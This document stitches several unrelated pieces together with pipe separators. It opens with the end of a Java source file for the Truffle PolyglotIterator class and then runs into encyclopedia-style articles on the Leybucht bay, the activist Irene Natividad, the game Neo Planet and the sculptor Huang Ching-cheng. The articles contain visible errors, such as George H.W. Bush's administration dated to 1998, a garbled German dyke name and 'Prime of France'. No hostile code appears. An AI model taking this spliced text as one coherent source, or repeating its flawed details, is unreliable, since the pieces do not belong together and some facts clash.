* The above copyright notice and either this complete permission notice or at a
* minimum a reference to the UPL must be included in all copies or substantial
* portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
package com.oracle.truffle.polyglot;
import java.lang.reflect.Type;
import java.util.ConcurrentModificationException;
import java.util.Iterator;
import java.util.NoSuchElementException;
import java.util.Objects;
import com.oracle.truffle.api.CallTarget;
import com.oracle.truffle.api.CompilerDirectives;
import com.oracle.truffle.api.dsl.Bind;
import com.oracle.truffle.api.dsl.Cached;
import com.oracle.truffle.api.dsl.Specialization;
import com.oracle.truffle.api.interop.InteropLibrary;
import com.oracle.truffle.api.interop.StopIterationException;
import com.oracle.truffle.api.interop.TruffleObject;
import com.oracle.truffle.api.interop.UnsupportedMessageException;
import com.oracle.truffle.api.library.CachedLibrary;
import com.oracle.truffle.api.nodes.Node;
import com.oracle.truffle.api.profiles.InlinedBranchProfile;
import com.oracle.truffle.api.utilities.TriState;
import com.oracle.truffle.polyglot.PolyglotIteratorFactory.CacheFactory.HasNextNodeGen;
import com.oracle.truffle.polyglot.PolyglotIteratorFactory.CacheFactory.NextNodeGen;
class PolyglotIterator<T> implements Iterator<T>, PolyglotWrapper {
final Object guestObject;
final PolyglotLanguageContext languageContext;
final Cache cache;
/**
* Caches value returned from the {@link #hasNext()}. The {@link PolyglotIterator} needs to
* preserve the Java {@link Iterator} contract requiring that when the
* {@link Iterator#hasNext()} returns {@code true} the {@link Iterator#next()} does not throw
* {@link NoSuchElementException}. The interop contract is weaker when the underlying data
* structure is modified. We emulate the Java iterator behaviour by throwing a
* {@link ConcurrentModificationException} when we detect an inconsistency among
* {@link InteropLibrary#hasIteratorNextElement(Object)} and
* {@link InteropLibrary#getIteratorNextElement(Object)} calls. The {@link #lastHasNext} field
* is used to detect such an inconsistency.
*/
private TriState lastHasNext;
/**
* A flag marking the iterator as concurrently modified. When the {@link #next()} throws a
* {@link ConcurrentModificationException} any other call to the {@link #next()} has to throw
* {@link ConcurrentModificationException}.
*/
private boolean concurrentlyModified;
PolyglotIterator(Class<T> elementClass, Type elementType, Object array, PolyglotLanguageContext languageContext) {
this.guestObject = array;
this.languageContext = languageContext;
this.cache = Cache.lookup(languageContext, array.getClass(), elementClass, elementType);
lastHasNext = TriState.UNDEFINED;
}
@Override
public Object getGuestObject() {
return guestObject;
}
@Override
public PolyglotLanguageContext getLanguageContext() {
return languageContext;
}
@Override
public PolyglotContextImpl getContext() {
return languageContext.context;
}
@Override
public boolean hasNext() {
if (lastHasNext == TriState.UNDEFINED) {
lastHasNext = TriState.valueOf((Boolean) cache.hasNext.call(null, languageContext, guestObject));
}
return lastHasNext == TriState.TRUE ? true : false;
}
@Override
@SuppressWarnings("unchecked")
public T next() {
if (concurrentlyModified) {
throw new ConcurrentModificationException();
}
try {
TriState prevHasNext = lastHasNext;
if (lastHasNext == TriState.TRUE) {
lastHasNext = TriState.UNDEFINED;
}
return (T) cache.next.call(null, languageContext, guestObject, prevHasNext);
} catch (NoSuchElementException noSuchElementException) {
lastHasNext = TriState.FALSE;
throw noSuchElementException;
} catch (ConcurrentModificationException concurrentModificationException) {
concurrentlyModified = true;
throw concurrentModificationException;
}
}
@Override
public String toString() {
return PolyglotWrapper.toString(this);
}
@Override
public int hashCode() {
return PolyglotWrapper.hashCode(languageContext, guestObject);
}
@Override
public boolean equals(Object o) {
if (o instanceof PolyglotIterator) {
return PolyglotWrapper.equals(languageContext, guestObject, ((PolyglotIterator<?>) o).guestObject);
} else {
return false;
}
}
static final class Cache {
final PolyglotLanguageInstance languageInstance;
final Class<?> receiverClass;
final Class<?> valueClass;
final Type valueType;
final CallTarget hasNext;
final CallTarget next;
final CallTarget apply;
private Cache(PolyglotLanguageInstance languageInstance, Class<?> receiverClass, Class<?> valueClass, Type valueType) {
this.languageInstance = languageInstance;
this.receiverClass = receiverClass;
this.valueClass = valueClass;
this.valueType = valueType;
this.hasNext = HasNextNodeGen.create(this).getCallTarget();
this.next = NextNodeGen.create(this).getCallTarget();
this.apply = new Apply(this).getCallTarget();
}
static Cache lookup(PolyglotLanguageContext languageContext, Class<?> receiverClass, Class<?> valueClass, Type valueType) {
Key cacheKey = new Key(receiverClass, valueClass, valueType);
Cache cache = HostToGuestRootNode.lookupHostCodeCache(languageContext, cacheKey, Cache.class);
if (cache == null) {
cache = HostToGuestRootNode.installHostCodeCache(languageContext, cacheKey, new Cache(languageContext.getLanguageInstance(), receiverClass, valueClass, valueType), Cache.class);
}
assert cache.receiverClass == receiverClass;
assert cache.valueClass == valueClass;
assert Objects.equals(cache.valueType, valueType);
return cache;
}
private static final class Key {
private final Class<?> receiverClass;
private final Class<?> valueClass;
private final Type valueType;
Key(Class<?> receiverClass, Class<?> valueClass, Type valueType) {
this.receiverClass = Objects.requireNonNull(receiverClass);
this.valueClass = Objects.requireNonNull(valueClass);
this.valueType = valueType;
}
@Override
public int hashCode() {
int res = receiverClass.hashCode();
res = res * 31 + valueClass.hashCode();
res = res * 31 + (valueType == null ? 0 : valueType.hashCode());
return res;
}
@Override
public boolean equals(Object obj) {
if (this == obj) {
return true;
} else if (obj == null || getClass() != obj.getClass()) {
return false;
}
Key other = (Key) obj;
return receiverClass == other.receiverClass && valueClass == other.valueClass && Objects.equals(valueType, other.valueType);
}
}
abstract static class PolyglotIteratorNode extends HostToGuestRootNode {
static final int LIMIT = 5;
final Cache cache;
PolyglotIteratorNode(Cache cache) {
super(cache.languageInstance);
this.cache = cache;
}
@SuppressWarnings("unchecked")
@Override
protected Class<? extends TruffleObject> getReceiverType() {
return (Class<? extends TruffleObject>) cache.receiverClass;
}
@Override
public final String getName() {
return "PolyglotIterator<" + cache.receiverClass + ", " + cache.valueType + ">." + getOperationName();
}
protected abstract String getOperationName();
}
abstract static class HasNextNode extends PolyglotIteratorNode {
HasNextNode(Cache cache) {
super(cache);
}
@Override
protected String getOperationName() {
return "hasNext";
}
@Specialization(limit = "LIMIT")
@SuppressWarnings({"unused", "truffle-static-method"})
Object doCached(PolyglotLanguageContext languageContext, Object receiver, Object[] args,
@Bind("this") Node node,
@CachedLibrary("receiver") InteropLibrary iterators,
@Cached InlinedBranchProfile error) {
try {
return iterators.hasIteratorNextElement(receiver);
} catch (UnsupportedMessageException e) {
error.enter(node);
throw PolyglotInteropErrors.iteratorUnsupported(languageContext, receiver, cache.valueType, "hasNext");
}
}
}
abstract static class NextNode extends PolyglotIteratorNode {
NextNode(Cache cache) {
super(cache);
}
@Override
protected String getOperationName() {
return "next";
}
@Specialization(limit = "LIMIT")
@SuppressWarnings({"unused", "truffle-static-method"})
Object doCached(PolyglotLanguageContext languageContext, Object receiver, Object[] args,
@Bind("this") Node node,
@CachedLibrary("receiver") InteropLibrary iterators,
@Cached PolyglotToHostNode toHost,
@Cached InlinedBranchProfile error,
@Cached InlinedBranchProfile stop) {
TriState lastHasNext = (TriState) args[ARGUMENT_OFFSET];
try {
Object next = iterators.getIteratorNextElement(receiver);
if (lastHasNext == TriState.FALSE) {
error.enter(node);
throw PolyglotInteropErrors.iteratorConcurrentlyModified(languageContext, receiver, cache.valueType);
}
return toHost.execute(node, languageContext, next, cache.valueClass, cache.valueType);
} catch (StopIterationException e) {
stop.enter(node);
if (lastHasNext == TriState.TRUE) {
throw PolyglotInteropErrors.iteratorConcurrentlyModified(languageContext, receiver, cache.valueType);
} else {
throw PolyglotInteropErrors.stopIteration(languageContext, receiver, cache.valueType);
}
} catch (UnsupportedMessageException e) {
error.enter(node);
throw PolyglotInteropErrors.iteratorElementUnreadable(languageContext, receiver, cache.valueType);
}
}
}
private static class Apply extends PolyglotIteratorNode {
@Child private PolyglotExecuteNode apply = PolyglotExecuteNodeGen.create();
Apply(Cache cache) {
super(cache);
}
@Override
protected String getOperationName() {
return "apply";
}
@Override
protected Object executeImpl(PolyglotLanguageContext languageContext, Object receiver, Object[] args) {
return apply.execute(languageContext, receiver, args[ARGUMENT_OFFSET]);
}
}
}
@CompilerDirectives.TruffleBoundary
static <T> PolyglotIterator<T> create(PolyglotLanguageContext languageContext, Object iterable, boolean implementFunction, Class<T> elementClass, Type elementType) {
if (implementFunction) {
return new PolyglotIteratorAndFunction<>(elementClass, elementType, iterable, languageContext);
} else {
return new PolyglotIterator<>(elementClass, elementType, iterable, languageContext);
}
}
}
``` |
The Leybucht is the second largest bay in East Frisia in northwest Germany after the Dollart. The Jade Bight is larger than both, but belongs historically to Oldenburg.
Location
The Leybucht lies in western East Frisia between the port of Greetsiel and Norddeich, about 18 kilometres north of Emden and 25 kilometres west of the county town of Aurich.
It has an area of about 19 km².
History
The Leybucht was formed after the first reliably recorded storm surge along the Dutch coast on 26 December 838. About 2,500 people died in the area of the coast affected by this natural disaster. Following the storm surges of 1374 and 1376 the bay attained its maximum extent with an area of 129 km² and stretched from Greetsiel in the west to Marienhafe in the east and from the edge of the town of Norden as far as Canhusen (in the municipality of Hinte) in the south. In the following centuries, more and more dykes were built to create polders, so that by 1950 the bay had been reduced to its present size. The last land reclamation took place in 1947–1950 with the construction of the Störtebeker dyke, which enclosed the Leybucht Polder and the coast line was straightened. In the following years there were plans to reclaim the entire bay in order to shorten the line of dykes significantly and to improve coastal protection. This measure was eventually rejected on nature conservation grounds.. Only a few, small coastal defence measures were implemented (e. g. the reclamation of the Leyhörn in 1991).
To reinforce the dyke system the first preparations began in 1985 to build the New Störtebeker Dyke (Neue Störtebekerdeichesitungen) which was completed in 2000, and which was laid out in front of the old dyke, the salt marshes in front of it being largely saved.
Present situation
The Leybucht lies in the Lower Saxon Wadden Sea National Park (Nationalpark Niedersächsisches Wattenmeer) and belongs to Zone I. It enjoys special protection, not least because of the fauna and flora of its salt marshes.
The Leybucht Polder was settled in the 1950s and is a village in the borough of Norden.
The most important tourist resort on the Leybucht is the Siel village of Greetsiel.
External links
Website of the Nationalpark Haus in Greetsiel
The Leybucht - Changes due to coastal protection measures
References
Bays of Lower Saxony
Geography of East Frisia |
Irene Natividad (born 14 September 1948 in Manila, Philippines) is an American feminist, women's rights activist, corporate director, international advocate for women in leadership positions, President of the GlobeWomen Research and Education Institute, a non-profit organization based in Washington, DC whose lead programs include the annual Global Summit of Women and Corporate Women Directors International (CWDI). She previously served as Chair of the National Women's Political Caucus, Chair of the National Commission on Working Women, Executive Director of the Philippine American Foundation, Founder and President of Asian American Professional Women, and Founding Director of the National Network of Asian-Pacific American Women.
Life
Irene Natividad was born in Manila, Philippines, the eldest of four children of a chemical engineer. The family followed their father to several countries where he worked, including Japan, Iran, Greece and India. In 1971, she graduated valedictorian in the undergraduate class of Long Island University. In 1973, she obtained a Master‘s degree in American literature and, in 1976, a Master‘s degree in Philosophy from Columbia University in New York.
From 1974-1976 Natividad taught early American literature first at Lehman College of City University of New York and then at Columbia University. At the age of 26 (1974), she married Mr. Andrea Cortese, a Satellite Communications executive. Together, they have one son.
Political activities
Her political career began with the distribution of leaflets for the presidential candidate Eugene McCarthy in 1968. From 1982 to 1984, she was the Chairman of the New York State Asian Pacific Caucus, then Vice-Chair of the newly-formed Asian Pacific Caucus of the Democratic National Committee. In 1984, she supported the election campaign of Geraldine Ferraro, the first female vice presidential candidate nominated on the Democratic party ticket, and served as the campaign's liaison to Asian-American voters.
She was elected as the Chair of the National Women's Political Caucus (NWPC) in 1985, making her the first Asian-American woman to lead a national political organization in the United States. In 1987, she was re-elected as Chairman. Under her leadership, the caucus gathered hard data to analyze factors influencing women's congressional races and compiled an annual Survey of Governors' Appointments of Women to state cabinets. The caucus also established the first-ever Minority Women Candidates' Training Program and created the Good Guy Award honoring men who further the cause of women's rights.
During the nineties, she assumed the chairmanship of the National Commission on Working Women, which works on economic equity issues affecting women through groundbreaking research and training programs, and held the role for nine years.
To promote women candidates for high government-appointed positions, Natividad served as Chair of the Coalition for Women's Appointments for three Presidential administrations - for George H.W. Bush in 1998, Bill Clinton in 1992, and Barack Obama in 2008. She also served as National Chair for Asian Americans and Pacific Islander (AAPI) Women for Hillary during Hillary Clinton's presidential campaign in 2008 and 2016.
Natividad has also been influential in several campaigns to increase the number of women voters in Presidential Elections in the U.S. As Chair of the Women’s Vote Project in 1996, she led a non-profit coalition of 110 women’s groups, and, in 2000, as Chair of Women Vote 2000, she focused the Coalition’s efforts on encouraging more women of color to vote.
Global Summit of Women
To promote women's economic opportunities and advancement, Natividad has convened the Global Summit of Women, star-studded forums for women in business and government globally. The first Global Summit of Women took place in 1990 in Canada, with the second taking place in 1992 in Dublin, Ireland, followed by Taipei in 1994. Since the 1997 Summit in Miami, Florida, the Global Summit of Women has taken place annually. Informally called the Davos for Women by participants, the Summit focuses on sharing best practices and working strategies that advance women’s economic status globally. In recent years, over 1,000 women from over 60 countries consistently attend each Summit, with participants ranging from Heads of State and women government ministers of various portfolios to male and female senior executives of multinational corporations to women entrepreneurs of small and mid-sized businesses.
Over the three-decade history of the Global Summit of Women, participants have included South African President Nelson Mandela, numerous sitting Presidents including Mary Robinson of Ireland, Vaira Vike-Freiberga of Latvia, Gloria Macapagal-Arroyo of the Philippines, Michelle Bachelet of Chile, and Tarja Halonen of Finland, Prime Minister of Japan Shinzo Abe, Prime of France Manuel Valls, and corporate leaders including PepsiCo Chair and CEO Indra Nooyi and Chair of MCM Holdings AG Sung Joo Kim.
An off-shoot of the Global Summit of Women is the internationally-renowned Corporate Women Directors International (CWDI), which conducts research on women on the boards of directors of top companies globally. CWDI is frequently cited in the global media on the topic of women on boards. As Chairperson of CWDI, Natividad has authored 31 reports since 1997, including six editions of the CWDI Report on Women Board Directors of the Fortune Global 200 between the years of 2004 and 2019.
She has also advocated for countries to take proactive measures to accelerate gender diversity on corporate boards. Among the venues in which she has spoken on the issue include:
G7 Meeting of the Minister of Labour in Paris in 2019
W20 (Women 20) Summit in Argentina in 2018;
UN High-Level Panel on Women in Leadership Positions at the UN meetings in 2016-18;
APEC Women and the Economy Summit (2015);
Global Economic Symposium (2010-2015);
OECD Southeast Asia Forum in Indonesia in 2014;
European Federation for New Ideas (2011-2014);
OECD New World Forum (2015); and
Club de Madrid (2012), among many others.
In addition, Natividad was invited by the European Commission to address the Committee on Women Rights and Gender Equality in 2010, as it deliberated on a measure to mandate a quota for women board directors across the EU.
Since 2006, she has pioneered Market Opens which have gathered women in business and politics to spotlight the achievements of women in the economy through participation in over 20 ring-the-bell ceremonies at Stock Exchanges around the world. The Market Opens have taken place at NASDAQ (2006) in New York, the Toronto Stock Exchange (2008), Johannesburg Stock Exchange (2009), Madrid (2011), Istanbul (2011), Barcelona (2012), Warsaw (2012 and 2016), Sao Paolo (2012), Hong Kong (2012), Zurich (2013), Kuala Lumpur (2013), the Deutsche Boerse in Frankfurt (2013), the Euronext Paris Exchange (2014), ASX in Sydney (2014), Manila (2015), Mexico City (2016 and 2018), Ho Chi Minh City (2017), Bangkok (2017), and Bogota, Colombia (2018).
Board directorships and appointments
Natividad has served on several international advisory boards for governments and policy organizations. In 2019, she was appointed by French President Emmanuel Macron to the G7 Gender Equality Advisory Council, which was tasked with providing recommendations to President Macron to advance women's equality during the year of France's Presidency of the G7. She has also served on Advisory Boards for G20 Engagement Groups, including the T20 (Think Tanks) and W20 (Women), as a member of UN Women's Leadership for Gender Equality Forum, has been a Board Member for the Global Economic Symposium based in Germany, and the European Commission’s Network to Promote Women in Decision-Making.
In the corporate arena, Natividad has served on numerous corporate and advisory boards. In 1994, she was appointed to the Board of Directors of Sallie Mae Corporation, a Fortune 100 company, by President Clinton. Other board positions include advisory boards for L'Oreal France, Cigna Corporation, Wyndham International, Enterprising Women Magazine, National Association of Corporate Directors (NACD), the National Museum for Women in the Arts and the International Museum of Women. In addition, she was a member of the 2012 NACD Blue Ribbon Commission on Board Diversity
Awards (selection)
1988, 100 Most Powerful Women in America, by Ladies Home Journal
1989 Honorary Doctorate of Long Island University
1992 74 Women Who Are Changing American Politics, by Campaigns & Elections Magazine
1994 Honorary Doctorate of Marymount College (New York) for their global commitment to women's rights
1997 "25 Most Influential Working Mothers" by Working Mother Magazine
2004 "21 Leaders for the 21st Century" by Women's eNews
2010 Enterprising Women Magazine Hall of Fame
2012 "Women Worth Watching” by Diversity Journal Magazine
2014 "Top 10 Champion of Global Diversity” by Diversity Global Magazine.
2015 “Trailblazing Woman” by Huffington Post
2021 Chevalier of the National Order of Legion of Honor (Legion d’Honneur)
Resources
Gale Encyclopedia of Biography: Irene Natividad
Homepage of the Global Summit of Women
Biography Irene Natividad, Homepage Globe Women
References
External links
American feminists
1948 births
Living people
American women's rights activists
Columbia Graduate School of Arts and Sciences alumni
Columbia University faculty
People from Manila
Long Island University alumni |
Neo Planet is a Japanese simulation video game for the PlayStation. The game was developed by Map Japan and published by GungHo Online Entertainment and Map Japan. It was released in Japan on July 5, 1996. The game was rereleased in Japan for the PlayStation 3 on November 13, 2013, and in the United States on May 20, 2014.
The player must create and build a new land while maintaining ecological equilibrium.
References
1996 video games
PlayStation (console) games
PlayStation 3 games
Simulation video games |
Huang Ching-cheng (; 1912–1943) was a Taiwanese sculptor. He is counted among the important pioneers of Taiwanese modern art. Lai Hsien-tsung mentions him in one breath with Ju Ming. Huang's sculpture "Study of a Head" (頭像 ‘tóuxiàng’) was the first modern work of art in Taiwan that was declared a part of the island's cultural heritage that is protected by a new law passed in 2009. It is exhibited in the Kaohsiung Museum of Fine Arts.
Life and career
Early life
Huang was born in Chidong Village (池東村), Xiyu, Hōko Prefecture. This island group had been ceded to Japan by the Chinese government in 1895, like the rest of Taiwan and the Ryu-Kyo Islands, after the First Sino-Japanese War.
Huang's father owned a pharmacy. Huang, who was raised in a fairly wealthy family, showed an interest in creative activity at an early age. As a boy, he already did small figures made of clay, his elder brother later remembered. He also painted, showing considerable talent which prompted a teacher to encourage him. Because the pharmacy was located in Kaohsiung, a major location in South Taiwan which was already a fairly big city, he was sent there in 1925, to attend Kaohsiung Senior High School. He dropped out, however, because he dedicated too much time to painting. Therefore, his father had him educated by a private teacher. Because his father wanted him to become a pharmacist, he was sent to a teacher of pharmacology in 1933. Then, he went on to Tokyo, for advanced studies in pharmacology.
Study of art in Tokyo
Huang's desire was to be an artist, however. In 1936, being just 24, Huang was admitted to a Japanese art academy, the Tōkyō Bijutsu Gakkō (東京美術学校) or Tokyo School of Fine Arts, an art academy that had a good reputation.
When Huang Ching-cheng had departed for Tokyo in 1936, the Second Sino-Japanese war was less than a year away, and the terrible Nanking massacre would happen in November 1937. Chauvinism and militarist sentiments were on the rise. The situation deteriorated with the outbreak of the war against China (1937), and even more so since 1939/40 when the democracy that still had existed up to a point in the late 1930s, was rapidly suspended.
Huang Ching-cheng was violating the dominant ethical code that required filial piety when he was not studying pharmacology. This had consequences. "When his father became aware of this matter, in anger he stopped sending him money for his living expenses and tuition. (…) His brother Huang Qingshun (Ching-Shuan Huang) secretly lent him money, however, and this aid helped him, in part, to complete his studies."
Early work and the influence of Beethoven
The fact that in an expensive city like Tokyo, his brother's financial support proved insufficient had a good side effect. The young man was compelled to work professionally as an artist while still in art school. In these highly productive years, he created a considerable number of art works, among them various busts. He also did “full body sculptures” and “seated sculptures.”
Among the works created by Huang Ching-cheng, there were a number of sculptures of Beethoven. Beethoven was a composer whom the artist greatly admired, as his elder brother confirmed later on.
Huang's interest in music and more specifically, in music from the West, is partly explained by his close relationship with a young pianist, Guixiang Li (李桂香, also: Kwei-Hsiang Lee). There was more to it, however. Generally speaking, Ludwig van Beethoven and Auguste Rodin stood for modernism at the time, as Y.-L. Hsueh points out. More specifically, under the conditions that existed in Tokyo in the 1930s and 40s, Beethoven and his music stood for cosmopolitanism and a thirst for freedom.
David B. Dennis has pointed out that Beethoven's Ode to Joy was always interpreted as an "Ode to Freedom" by progressives around the world. "Beethoven's enthusiasm about the French Revolution" is well known. As a Rhinelander, Beethoven had cherished Napoleonic reforms that increased civil liberties and introduced a progressive legal frame of reference, the Napoleonic Code or Code civil. In Chinese art, literature, and music, criticism of rulers has often been allusive and indirect. Huang's choice of Beethoven turns out to be in line with this tradition, that “certain cultural heroes often find favor with Chinese artists (…)" because it allows them to take a stand.
Sculpture
Huang's relationship with Guixiang Li (with whom he shared a passion for Beethoven) is not only revealed indirectly in his Beethoven sculptures. Among the few sculptures of Huang Ching-cheng that are known to have survived World War II and that are exhibited in museums in Taiwan, there is a bust that is titled "My Girlfriend Guei-shiang". It is part of the collection of the National Taiwan Museum of Fine Arts in Taichung (Guólì Táiwān měishùguǎn/ Táizhōng shì 國立台灣美術館 / 台中市).
MOUVE
In 1937, Huang Ching-cheng teamed up with graduate students at the Tokyo School of Fine Arts to form an artist group that would organize joint exhibitions. According to G. Huang (Huáng Guāngnán 黃光男) and X. Liao (Liào Xīntián 廖新田), these young artists "seceded from the Tai Yang artists’ association" when they formed their own group. Huang and Liao notice the group's "non-mainstream atmosphere."
The anti-mainstream artists soon called their group MOUVE (derived from the French word mouvement). Lai mentions another term by which the artists referred to their group, writing that the name chosen was “Action Art Group (or MOUVE painting group).” “Action Art Group” in Chinese is “xíngdòng měishù jítuán 行動美術集團.”
According to Chin-hsien Li, it was “Lán Yùn-dēng who recommended the name MOUVE.” Chin-hsien Li points out that at first, the young artists only wrote MOUVE “in Japanese katakana" which emphasized the term's French origin. No Chinese equivalent of the name existed initially. It was a symbolic choice that indicated a turn to the ‘new,’ away from the traditional art embraced by scholars and artists educated during the Qing dynasty and away from the academic Western-style painting practiced by many artists in Tokyo.
The rules that were drawn up by the group stressed research or studies: “1. Our goal is to study from each other frequently. 2. Each year, exhibitions of our studies shall not be fixed in numbers but shall be held when and where suitable (…)”
Hsien-tsung Lai refers to the group as “anti-establishment.” Jen-yi Lai specifically refers to the “Bohemian spirit” revealed in the works of one painter of this group, Jui-Lin Hung (Hóng Ruìlín 洪瑞麟), whom she singles out. But the Bohemian attitude was symptomatic of all members of this group.
Indeed, “MOUVE, at the time, was free. Works were exhibited every year, no works were excluded. Regardless of how often they would take part, regardless of how many works they wanted to show, every member could participate anytime, anywhere in the joint exhibition. This was the so-called MOUVE spirit.” Clearly, “the name was a symbol of avant-garde and of youth.”
On 19 March 1938, the artists who had formed the new group, Wan-chuan Chang (Zhāng Wànchuán 張萬傳), Jui-Lin Hung (Hóng Ruìlín 洪瑞麟), Dewang Chen (Chén Déwàng 陳德旺), Chi-ch’eng Lu (Lǚ Jīzhèng 呂基正), Chunde Chen (Chén Chūndé 陳春德), Huang Ching-cheng, and Liu-jen Teng (Děng Liùrén 等六人) had their first group exhibition. Except for Huang, who was a sculptor and painter, they were all painters.
Painting
Critics at the time saw Huang Ching-cheng not only as a remarkable sculptor but also as a gifted painter. It has been emphasized that “(d)uring his study in Japan, he (…) specialized in oil painting and held a solo exhibition." Oil on canvas was preferred to ink and to water color techniques by a majority of modernist East Asian artists. In this, Huang was not different from other Taiwan-born painters who studied in the ‘Western painting’ division of a Japanese art academy.
Chun-hsien Li (李俊賢 Li Jùnxián), art historian at the Kaohsiung Museum of Fine Arts, has noted the distinctive traits and the novelty of Huang's paintings. He writes, “If we look at Huang Ching-cheng's work – "Black Woman" 黑衣女人 (hēi yī nǚrén), we get what may be described as a very direct sense of his use of color, which is very different from that found in the artistic environment of that era.” Lai also praises Huang when he speaks of “the mysterious painting, ‘Black Woman’ (...).”
Exhibitions
In 1939, sculptures by Huang Ching-cheng and by another Taiwanese artist, Hsia-yu Chen 陳夏雨, were accepted by a jury and “included in the Imperial Exhibition” (Teiten Empire Exhibition or Imperial Exhibition, in Japanese: 帝展.) of that year.
A year later, in May 1940, the ‘MOUVE’ group organized “a ‘MOUVE Exhibition’ of three artists” – Wan-chuan Chang (張萬傳), ( Yong Xie 謝國庸), and Huang Ching-cheng – in the Tainan Public Hall (Táinán gōnghuì táng 台南公會堂.), Tainan (台南), South Taiwan.
In the same year (1940), Huang received an award of the Japanese Sculptors’ Association and it was “recommended” that he should “become a member of the association.”
MOUVE versus Tayang
MOUVE, which Huang Ching-cheng had been founding together with several young Taiwan-born artists in Tokyo, was now, “at first glance, avant-garde, fresh air, so to speak, and the group's members were painting in a new way. But it was a small group after all, no match for the power of the mainstream, especially the ‘Taiyang Art Association.’ Lu Chi-cheng and Chen Chunde soon took refuge to ‘Taiyang,’ and thus in the following year (1941) there was a pause in the group's activities.” Another reason for this ‘pause’ may have been Japan's attack on Pearl Harbor and thus, the outbreak of the Pacific War. "At the end of 1940", the group – and that meant: the majority of its members – had already left Japan. “With the advent of the Pacific war” when “MOUVE was taken to be an English name” by the authorities, the artists were forced “to change its name.” The name was now changed to “Sculpture and Painting Association” (zàoxíng měishù xiéhuì 造型美術協會). Because some old members had left, it was a smaller group now. Under the new name Sculpture and Painting Association, the group soon “made a come-back with another exhibition,” however. Those who participated in this group exhibition (in Taiwan rather than Tokyo) were “Yün-teng Lan (Lán Yùndēng藍 運燈), Yen Shui-long (Yán Shuǐlóng顏水龍) and Cho-sao Fan (Fàn Zhuōzào范倬造), in addition to the remaining original members."
A year later, "MOUVE ran (…) out of steam, winding things up in a frenzy like a whirlwind, and it soon disappeared without a trace, after having recorded the flowering and frustration of the opposition faction of Taiwan's art world."
Work in Tainan
Whereas other MOUVE artists like Jui-lin Hung had already returned to Taiwan for good, Huang Ching-cheng remained based in Tokyo. But "every summer, he would return to Taiwan for vacation," as the curator of the Kaohsiung Museum of Fine Arts (KMFA) notes. "Most of the time, he would live in the Tainan house of Kuo-Jong Hsieh (Xiè Guó-yōng 謝國鏞)." During these stays in Tainan, he "made a lot of sculptures for renowned officials of the Tainan district and had the support of local people in Tainan." In Tokyo, Huang did not only complete his studies at the Tokyo School of Fine Arts. Soon recognized for his outstanding talent and accomplishment, he was honored by being invited to participate in several important exhibitions, among them the Bunten Art Exhibition of the Japanese Ministry of Education.
Death
In 1943, Huang Ching-cheng was offered a teaching position at the Beiping Art School in Peking which was then a city occupied by the Japanese army. Planning to go to Taiwan first, the artist boarded “the passenger liner Takachiho Maru in Kobe, Japan" together with Guixiang Li. The ship was torpedoed by an American submarine as it approached Kīrun. About 1,000 passengers died. Few survived. Huang Ching-cheng was 31 when he died. Huang's premature death was a considerable loss that was felt in the art world of Taiwan.
Taiwanese art after Huang (1940s–1950s)
The fact that Huang Ching-cheng died prematurely may have saved him from suffering the fate of artists and writers who became victims of political repression. Death at age 31 meant that he could not produce a full-fledged, mature oeuvre. Huang's death was a considerable loss that was felt in the art world of Taiwan. But there were more blows to come that would hurt the development of modern art anchored in the socio-culture of the island.
The rebellious Jui-lin Hung, a leading figure of the MOUVE group, who had returned before 1943, became a miner and for several years could not afford oil colors and canvas. The painter Chen Cheng-po was shot by the KMT army in Chiayi in 1947, becoming one of the many victims of the so-called February 28 Incident. Under these conditions, “(t)he development of new art movement(s) was in fact not a smooth one,” as Chiung-jui Hsiao writes.
By the mid-1950, martial law came into effect. Now, Huang Jung-ts’an (Huang Rong-tsan / Huáng Róngcàn 黃榮燦), an artist who did realist woodcuts and who was a friend of the painter Chun-chen Li (Li Zhòngshēng 李仲生), was arrested. He was accused of “espionage in 1951 and (…) executed the next year.” According to Hsiao, this
“event influenced avant-garde artists who were promoting modern art at that time. (…) In 1955, Chao Chung-Hsiang left for Spain because he got the scholarship to study, while Chu Teh-Chun went to France. (…) The school supporting Ho Tieh-hua was on the downside on account of political tensions. His art fairs started to be oppressed. Chuang Shih-ho was admonished and forced to move back to Ping-Tung (i.e., Pingtung City or Píng dōng 屏東) (…) Ho Tieh-hua, on the other hand, (…) left for America in 1959 for good. In the same year, Lin Shen-yang attended the Sao Paulo Exhibition in Brazil as a judge and never returned."
On the other hand, there were those who tried to work. Thus, several of Huang Ching-cheng's colleagues who had participated in the MOUVE artists’ group founded a new group, the Era Art Association, in 1954.
Legacy
Today, many art historians and artists in Taiwan agree on Huang's pioneering role, as a modernist Taiwan-born sculptor. Together with two other sculptors, Tien-shen Pu (Pú Tiānshēng蒲添生) who was born in 1912 like Huang, and Hsia-yu Chen (Chen Xiayu 陳夏雨) who was five years younger, Huang Ching-cheng belongs to the young generation of early Taiwan modernists who followed in the footsteps of Tu-shui Huang and who surpassed him in a way. Insofar, few would disagree with Ya-li Chen that “Huang Tu-shui(黃土水), Huang Ching-cheng, Chen Hsia-yu(陳夏雨) and Pu Tien-sheng(蒲添生) were the most important sculptors in Taiwan” during the Colonial era that came to an end in 1945. Huang's creative role as one of the few Taiwan-born pioneers of early modern sculpture assures him a permanent place in the history of modern art in Taiwan.
Huang in film
In 2005, Huang Ching-cheng's life and work became the theme of a feature film by the Taiwanese film director Huang Yu-shan. The film, released in 2005 and titled The Strait Story, was discussed in two academic publications.
Huang Ching-cheng's life and work is also at the center of a documentary, “The Forgotten: Reflections on Eastern Pond” (2008) by Yu-Shan Huang.
References
Further reading
Ya-li, Chen, "Taiwanese sculptors during the Japanese Occupation period," in: Taiwan Culture (A publication edited and published by the Ministry of Culture, No.30-1, Beiping E. Rd., Zhongzheng Dist., Taipei City 10049, Taiwan (ROC)), 20 October 2009
David B(ruce) Dennis, Beethoven in German Politics, 1870–1989. New Haven (Yale University Press) 1996
David B. Dennis, The Indoctrination of A Muse: Myths of Ludwig van Beethoven and His Music As Evoke in German Political Culture from 1789 to 1989. Los Angeles (University of California, Los Angeles) 1991 (Ph.D. thesis)
